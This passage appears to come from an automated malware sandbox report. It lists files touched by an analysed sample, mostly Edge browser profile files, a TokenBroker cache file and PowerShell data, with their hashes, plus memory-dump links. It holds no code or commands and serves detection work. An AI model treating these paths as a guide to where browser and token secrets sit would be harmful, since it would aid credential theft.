T1F4D02B24B2AC7654E01A343C0114428C30CE5970140BB400805413940FC261201C4069
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 2b27e1cddaabfc7960ad62182c9290fbf1102f29dea3089e6766135c93e8b100
MD5 30c5dfe91b563eeef443da7cae9e7496
SHA1 6b2877685e6199aea371dfbe5ea75fda25d25f1c
SHA512 2057dfe19d994b7491c75c4ac739b3c8c2c748762425c012d8792488c77604cd73d247b09d9d758daf7f772a36e3fd7175403932e24b3ed4589e56dde5bed88f
TLSH
T127E02B6AC911EC3F08FD0B7954940745FB10236B2A419C4B3B3E81188FF55364599C6C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 b82fa3ceafae9b4eeb2a8c34067bae6426e7678c3e72dbef35eb084e3fba880b
MD5 a898343e7523039d3ea9c659467af5e8
SHA1 c00c94c17ca88e95da485a3fcf0886025b977b37
SHA512 bf86c5cb4f3828be2f30cdc0dfafa1152f068242c89703101ce9456ad5da40eb80c8390fbb8449fcf12865bc432c50611d7dba46752c5e40c6547ae8f8fe9713
TLSH
T1D4613E816ABBB191FBBB807DD1E0D88F367118B745866E333990DBB8550AFF44992160
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 a141956acc02fd3a29f4fe8ca11312154cfdab99c8a6d4a38bf67bb4d8a14fda
MD5 9e2b183e46f8be9e1fbb56854146c2dc
SHA1 8ea514a41c70fa85ab7121fe43a3739db4167916
SHA512 6510b2dd1b2bfeb4477b6a77ce8ba025c6e601d9670c3717bf72f41c1e58df88315c3734bdbe8ec82bc4d13afdf82bcdba92133209f29a229fa1f70893106fd6
SSDEEP 192:D1Z74TXsf+zDN+FaKxfL77WnEf2m6jnTSd1XA3RWCpT:D1Z74TXsf+zDN+FaKdnKE+mqTctkRrpT
TLSH
T165D18BE3C3D9832DD81116F49B583D2BDE2D1E7883283D6AD9E5AE4B53E5071E240A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 3cb9da361c5a213993af409828ede27161d56640568a8d3527dfbef1bfbbd32a
MD5 9a068a3b4bc8167cdafac3a11a318106
SHA1 c42859ec714631419b26711147da483b6fb4f442
SHA512 35c03f09520b21a321e4436e93c34f7d0575e496bd501e880d1595f79524fa29da54738e18aab608f88a36aec1424a468dfba5f5a3cd522a362704f44a4c2e04
SSDEEP 192:sxZMRcjX/fksraQZLjm8dzodpi3pB9HW6+WNnwf/Buow2Su+ZIg5stEJ:sxZMaX/fksuOPN2+9HbE/7SuaitI
TLSH
T1B952D7666D24697B4CC7D669FB55BF53E3F9103294C40E94AEFC8A2C14EB6DD220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 cbcefce29c77dcec6f858292e8fd174cf3067641115d22258cf37904708b6805
MD5 1722197d59a38873664fc9d54dbd6b45
SHA1 6f04bf520e0d1a1ddf5dd0f1d7e6ef738b0e4aab
SHA512 53cd221846dd74f0a65d56afd8d38b0817d01b654cceb862e8341f3049b1b4c534bfc0517bc6b1077210a9d081e1463b44a20e6b3ba4bdd585746ca150db24b3
SSDEEP 192:sxZMRcjX/fksxaQZLjm8dzodpi3pB9HW6+WNnwf/Buow2Su+ZIgjtEJ:sxZMaX/fkskOPN2+9HbE/7SuajtI
TLSH
T1A352D8566D24697B4CC7D669FB55BF53D3F9103294C04E94AEFC8A2C14EB6DD220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 97579b4052912e1c6ef59a7b7f7dd2311912e6010c7844d7357cefaf2d2ac353
MD5 523d974f0d47e91b71720f1bb7cb579e
SHA1 9ac1ee40b0ba398b3abebd13c1c947ab7f297f35
SHA512 80fc043434adeeed9309ac33419f480b98a39b32970ed8aa6fa3be71d8dfd9bfa7f788bd7486ae87fc0156ff9aea19704575424d7ad899a50033f1bf5c91dc7e
SSDEEP 192:sxZMRcjX/fksoQZLjm8dzodpi3pB9HW6+WNnwf/BuoL2Su+ZIg5stmJ:sxZMaX/fksoOPN2+9HbE/wSuaity
TLSH
T12152D7666D24697B4CC7D669FB55BF53E3F9103294C00E94AEFC8A2C14EB6DD220380B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 c692ccbf58b41a51a1ba014ffd681e7ac21855b0c33588cad6a7360aa4b63b75
MD5 690511d6f49df2a3f08440ae0a2ef580
SHA1 eb58a29b190cb55fd5675bdab82c3c0ae135a30b
SHA512 09e4830903370823be070f2eabf77959ba2ad091e217d74920cf89e6cadd91c809c5f42b18de83194fc3d7a979314f37e809a4ec50a3006b573cd501fbb602c4
SSDEEP 768:Px6r8sW7pLuLbG+WviyUK8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/1qpLlvVajYrop:Px6r8s2EbG+WviyUKu1jai1qpLd4jjog
TLSH
T121E2E97B780CCF7E4FC04A9DDD1A7F8A6DA802CB9698C94087FA945C02C67EA51170DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\0a92890f-1c8a-4031-9fa2-3bc3d61a115a\index-dir\the-real-index
Size 2KB
SHA256 5d3066759e8a7dae3421faa177fc5f7e576c42a8cca0b0403e6c97f695029479
MD5 9c752630ba71a212307cbeb7c64130ad
SHA1 a1e424fc4c334d3e1a0643de60dc6d3c5f8bcf19
SHA512 42794e2f43fc948da806a23d8bca44a7c8416967f559cefeb3c01bd74e4f6951d2d1c1e7ed5575f0c0afd426c19a6c0f5a9e591e8a9fd8b2f4e563d102ad8877
TLSH
T19751628DC980A79DECB421FE2D4416B253B52C34FC69C3928084F6A33413A691F5B6FC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59d632.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\0a92890f-1c8a-4031-9fa2-3bc3d61a115a\index-dir\the-real-index~RFe59d632.TMP
Size 48B
SHA256 49d00019d058eada9b1e81b8a44cff95d154d9929f9100fff6053b973b00ad80
MD5 f299dfffb070b3d59b3a5ad3e710be6d
SHA1 aa1f6542748873b8d5894a2246708c03d89fa591
SHA512 2008a71bd24b45b250f15b1308f547d62a910f84f94ad2ffc57d9540f9e236801d232737172fccdab21a72a543cc60f62d42501e23b4f78a588ced5d3b224f06
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 214B
SHA256 6d52ddef1c0eef94a2e6dcd83c4808254bc85a69789fc460f34910ed14926c98
MD5 24ee6eeca25c6b940760d62c6a42cf39
SHA1 42c1bb18f186837ed728f20c5875170f4d0406ae
SHA512 aa323028d44c2abb9d48ca664e57ed7d12ffc647f55ddadb870e71d9f7410f38275eb9713c0643e588a8b38ded83c2b40d51552f0b9c6ab788c24d4de77a8a39
TLSH
T1E2D023DA6271497303719BD43035717CC2558F55DCC4CCE49409F09134FC712C402E65
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 130B
SHA256 751278809f545c86415b6d2c91240d92c1b17988549ab3332043214d91c02a90
MD5 42037b51e78361bed6d278bb94c5731b
SHA1 2d1adaf7737051045e88a8ee58e1ef02b8ae939f
SHA512 625df6b5bda878d5b91aa906db22b1618d403b6589f514a53b9e648d7a5f92c48146cbfb6660915ab8b5008c4f27bbbeab7625f4a822277166cb7b3d7a711da9
TLSH
T13CC09BDB5555499706749BD91034B77DD7DB83D8D8C0CCF451459141743D9134843A65
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 132B
SHA256 e1d2165a7c32e3787af25ffc9cd751c46fb08aa196a55d0366704d26c7de1e5e
MD5 215f2acff1df7cd78d0ff48e6e54a2e4
SHA1 04ac964ba593cca3d23d2692a2c22b96f7858c1b
SHA512 34ecda43c50af36f7d05197de9c361d8ace1e9688b377c0d79f6eff06b01c9496838df5f62bca31d18749e86078a93296a8043be160f76cc368d288b79965baa
TLSH
T153C02BDB25140993063097D81034B33CC7CBC3D8D8C4CCF0510880013028A034803A20
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe597c0c.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe597c0c.TMP
Size 137B
SHA256 19490b0ea658ebff4f55d61e693f20928317fe5f2df6ed22d1459046c8d9ae06
MD5 e2833bf1ffc5c1833aa6563307b06352
SHA1 21f944040062b211bd43d6fddc29402b6a2aca40
SHA512 4a21ff5d7691d05974717f0d03d4b4763ffd86240a4e1bfeedfd809db327b595c74322667f4ef9733d30f6db5b9728a33375361cc1b5b054a2591c7f1f951b2a
TLSH
T1EFC02BDB11200987077056D51034B36CC7DBCFD8ECC0CCF46006700130389038403A20
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 72B
SHA256 dbefad32eb9c0e726c461187d95f5e3343244802a1bcb367221d1b2b021c2404
MD5 e7bd18d96947ce5e935d28e11f37b56e
SHA1 d1f7e7e9e3983ab46b062061816d5391059dee97
SHA512 b2b64438b02cd5928039d5542387ca12da9299cd16d8d78895acb92d730d0213f9aa2be767cbf4d4b222a06434a85efa4cfe1a268182f33709146fe6c4b91f25
TLSH
T169A00294D242F902C49047F42941818DB212DE959703570380A8C0CEE954185625A054
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59cc01.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59cc01.TMP
Size 48B
SHA256 4a2edb57cf85e4426668261713692ecdbf705f1f036b1e1801b70839405fadf0
MD5 458b9b034f1412cbd116540e0b6d9c26
SHA1 910d3c82a4fb4515cfdc291b17c2cb167db2c3b3
SHA512 52bd1125cf514a1eb426439cc07bcc2bea74d40e633ac688005c07d8cac850c55eb2ee4d6081fa4b42619e471f4f477ece6e9beb2a12d7dd20ccca542e6941f3
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 49152ca23c4ca357c342f0dc21a01de988f92a11d8f79ec7e3272874acf44a8f
MD5 db99dd0993eb2858e27ce683ffb7c899
SHA1 6c0e9f2b625c980ab8a4dc1bd5f3fd18cce0a43c
SHA512 70b1ccbb77559ae6d9d29198953ccfabb81bc03358335a75d3e949e5626587eb29c9ae43aa758ca7715e8cc4f7a1bf0ad218ac13d25bb41f9444fd3012a784ba
SSDEEP 96:KM8wKFqmq2sK3qsrWKIcKKsAKVK66QKTywO3aKoErbWKY0KGnuKc82DOhVLZZdgW:ST/2dXOJhJlpfnpp3tNXVrN3mFDS7g
TLSH
T13FB2215571BB421039FE291892B6872E064231B37159E62F7FBD00B68E6BF085DFD8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 2b99b98703ce4c3d09b302190a854a4450b2e44fe167df5f8d6d2d775db5e0e6
MD5 44307fed5496aeb5a1d890b647a8b5d6
SHA1 0335d86439fe83f1e4c3f76f8cc133e133a9dd9c
SHA512 3028a96bc85228b22a2f0ed66713d9de9ba67ad02b8afd5636bd5f3aa5e194edc17b57a8ee984aec0ce66d9a31291841f009f51454e8a3fa10750bc32cc685e3
SSDEEP 384:nWiFiZcI63sNB8TUNTUlImOaKMiZ4wzWfLBCUz5o+RY9Fhrsa+VY68gL/7IzVoA:9FQ63AwgSQHEBCUy+RY9FhrhgGP
TLSH
T15DC24A36EC98D9ABECFB4FD9AB4A7603DEF40163959C9AC4DAD85D1C008759D0307C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 98dc1c414ec73bfb7f8457941aafb7d680bf689006f5eba6511638cc5a1bb7d1
MD5 1e24eba11491e4e5c1749819cd72ea55
SHA1 f864e206897f79e2bf0fbb2b15120733d94a6549
SHA512 fb4c28d6f784dd639c6a385d1bd4674a6ca172339f8a4a09ed92889286c6b2b68d3f3a542cbd53322696486aad6f361228c4810d73dbb07fa6ed42f8d0d77307
SSDEEP 384:nsiFiZcIy3sNj8TUNTUlI4CaKMvDTwzWfLBCUz5o+RYoFuuihE5KgL/7Izrom:XFQy3uwgeheEBCUy+RYoFhihEyx
TLSH
T1BAC24A36EC68DAB7ECFA4FD5A74A7603DEE41163C89C9AC4D9D85D1C008759D1307C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 7d7f3572d2632ea5655cff9bdb836136a7718113a89cfbb8f1a2bb1e9432ccdb
MD5 31e070cbed99c55234d672e019a58653
SHA1 13edfc136f7d86424e8dfaf8ac15b3b9a77cb0a0
SHA512 8aff28c126c4b287ac61c937761dcdebc453d9b587caab7860cb13ee65c6bd655b3c942900c3ea986f48b1f1eb11927aacda4743d47b89186acf28c833a7eaa0
SSDEEP 384:n2iFiZcI9I3sNj8TUNTUlI4CaKMwYDTwzWfNBCUz5o+RYoFufmhE7O6R2Feoxh7l:dFQ23uwgeSoeKBCUy+RYoFmmhE7TRI6y
TLSH
T1F3C25B36ECA8DAB7EDEA8FD9A70A7603DEF41163898C99C4DAD85D1C008759D1307C27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 cb8247eb8d9ef26cf8a49f69634f0dee56449ed83999a1c8ec269b22ed6bf781
MD5 eaf3b68be5a43a2f010e093923ad08a8
SHA1 c76874ce1b4e56c2e89759275cd23f1e3039f996
SHA512 1230d814269c0d7d9ded7ae54f7f8e41f5b6beaa60a7f9d8884e29da20d5492aa11262b91d046bc9b1d29de03deebbea73e24584e1e777e28a05c4f504165211
SSDEEP 384:n/iFiZcIy3sNj8TUNTUlI4CaKMwYDTwzWfLBCUz5o+RYoFuuihE7O6R2Feoxh7UW:KFQy3uwgeSoeEBCUy+RYoFrihE7TRI6y
TLSH
T1A7C25B36EC98DAB7EDEA4FD9A70A7603DEF41163898C9AC4DAD85D1C008759D1307C27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.9.13.1\manifest.json
Size 118B
SHA256 e1a6a74d9060051aa97af7e42ed804b03cf8cf4143ccbd3ab272643d4940d01d
MD5 ce3a12963598e73f7e0e785453854a4b
SHA1 81f77db0fcd5a1b2f316c86ebdd9211829b66adc
SHA512 84f6c9ac4d9e93bc0d3da1dbbf2193cf60797d6284eb96efa966aba13c4eee3577522c2433896e7156a2dc24a801a1e26f6f1762c3ab2668a3430be0d4d4de26
TLSH
T180B092B00C1AA03B22C09360ECA0668283F80229E8021B6E088036481F8817881362B2
MD5 SHA1 SHA512 TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.9.13.1\typosquatting_list.pb
Size 1.4MB
SHA256 0414c635327db9a80d457d1d85a5a89416226dba075cc42f40df1c8d03945094
MD5 31de08def6b909db7007db42b53dabbd
SHA1 2d84ecd75ff5c7f3859d34987f720cc44cef598d
SHA512 646b5476e86a424ff9500097e82d0fc7d4a56fc1c6c980d6b1ab11d0a1b313195e497b08e142572ffb8cdef6c482fb4b86486bb3d667b3872d396b07d369ac9e
SSDEEP 12288:hRLoLUprE/Ih6R9SiY/I1fYXYXHxLwkLaCgfo+8SRLRnrR+C:dFAR9SJCfYXYXHxLwgaCRSj
TLSH
T1BF65C5B9DFC00194DAB8112D20BE71D8181412A540F9DFEAFE7C858F2BC69C977E49E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 d69edd66c8339156052829042581c23c4c54430a6b2b19dd6e32996e38f925d4
MD5 5826d385813744ceb1669b0ac15b39bc
SHA1 1cb1fa200d7c43268546b450c330398e57979369
SHA512 d5bfd92e2fe02e11533976e10867bfc03e5c2367ca99720bb193ad4e6311d21b99a7c97521e0100a90d959ac6ef6ce709af0d98249e362ee4636349582091fcc
TLSH
T1CF511EE0587C5AD1D4FD0E7EB49734FC84ECD611F8A4347D2858E9985A7A6193085C3F
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 d2021b36afcc0b6b7381e350b846f76fc66b985a910df48aae8502f2d9e1c8f3
MD5 417f0f602e5ddaf0e1cbe3b1ad681a8a
SHA1 21b06fd459e45025dbb545d67f6689f2a0eae126
SHA512 27a1bd1224ed424a371dc89d6ad2547bbc198c506b3d076380d0ce03064b19844699b776da44a84948ccc0acf1dcd8be106248944dce3726a6e67d42f526db2e
TLSH
T1FD41485CB6E90148B3B3BE1AABF2686D487FB9772E06949D10110D4F0A62F00C8B1737
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 95006d39871be9ab05b2eb2c367d5e23f455deb0f804e3d66c832f3464452c0d
MD5 05ba31ae9555489ac21e82fb79a6c5ea
SHA1 e5410ed6d67ac3505827909deac7fda6fc3b8c26
SHA512 d961ce7081ec4b5a1f90ac954e07c95bc2d037be500ec818239c7fa497b0e574ca60006efdb0e4c1b93fb0fd2a4e7f7275b0eea7d11d93049e66d8a9872e8fda
SSDEEP 384:frf+kr9i+Ru66tHGBizwk+o9L2TN7K6seYk501/gz+3PoEJZ4UcsxtZeryo:zfjudGo3jL2TN7NsI2PP4Ulxo
TLSH
T10282D76E610F26C3C49A1378E107041FE4F2DECD532A17D9BB5E9F3B8AAC65E902D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 8b754f39ff32dd839ec0b12fc05487fa9816d4ed70fc09aaef236c538c63e42b
MD5 77b98855cd073a04f8f1868185ba82ff
SHA1 3eac85fc740809ec5c5d7029114f10f3127a4a49
SHA512 d6fea1d7802c466ef74ebdf80cacde1a968cccfa078797c33428e9da57d92897e9018e6cfcc6b8f10bd42a27119e43f3af05a007c12b08f4a137c20c6ec7e05c
SSDEEP 384:orf+rr9i+V5aPmKBizQkfWo9o2TNK6seYkd01/gz+3boEJZ8QYsxtZmVyg:yf+4OKonfbo2TNNYI2bP8QxxS
TLSH
T15E82C66E610F16C3C4CA1378D107045FE4F2DE8D532A17D9BB6E9F3B8AAC69E902D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_rcygl5lp.ffm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcygl5lp.ffm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1324-56-0x0000000002790000-0x00000000027A0000-memory.dmp

Download

memory/1324-55-0x0000000002790000-0x00000000027A0000-memory.dmp

Download

memory/1324-44-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

Download

memory/1324-9-0x0000000002790000-0x00000000027A0000-memory.dmp

Download

memory/1324-10-0x0000000004E80000-0x00000000054A8000-memory.dmp

Download

memory/1324-7-0x0000000004810000-0x0000000004846000-memory.dmp

Download

memory/1324-13-0x0000000005520000-0x0000000005586000-memory.dmp

Download

memory/1324-8-0x0000000002790000-0x00000000027A0000-memory.dmp

Download

memory/1324-45-0x0000000005E30000-0x0000000005E7C000-memory.dmp

Download

memory/1324-47-0x0000000006320000-0x000000000633A000-memory.dmp

Download

memory/1324-12-0x0000000004DC0000-0x0000000004DE2000-memory.dmp

Download

memory/3832-11-0x00000000028C0000-0x00000000028D0000-memory.dmp

Download

memory/3832-14-0x0000000005710000-0x0000000005776000-memory.dmp

Download

memory/3904-463-0x000001A049BF0000-0x000001A04ABF0000-memory.dmp

Download

memory/4448-6-0x0000000005740000-0x0000000005750000-memory.dmp

Download

memory/4448-3-0x0000000005740000-0x0000000005750000-memory.dmp

Download

memory/4448-0-0x0000000000D30000-0x0000000000D56000-memory.dmp

Download

memory/4448-4-0x0000000005800000-0x000000000580A000-memory.dmp

Download

memory/4448-48-0x0000000005740000-0x0000000005750000-memory.dmp

Download

memory/4448-2-0x0000000005760000-0x00000000057F2000-memory.dmp

Download

memory/4448-1-0x0000000005E60000-0x0000000006404000-memory.dmp

Download

memory/4448-51-0x0000000005740000-0x0000000005750000-memory.dmp

Download

memory/5752-29-0x00000000059B0000-0x0000000005D04000-memory.dmp

Download

memory/5752-46-0x00000000077A0000-0x0000000007E1A000-memory.dmp

Download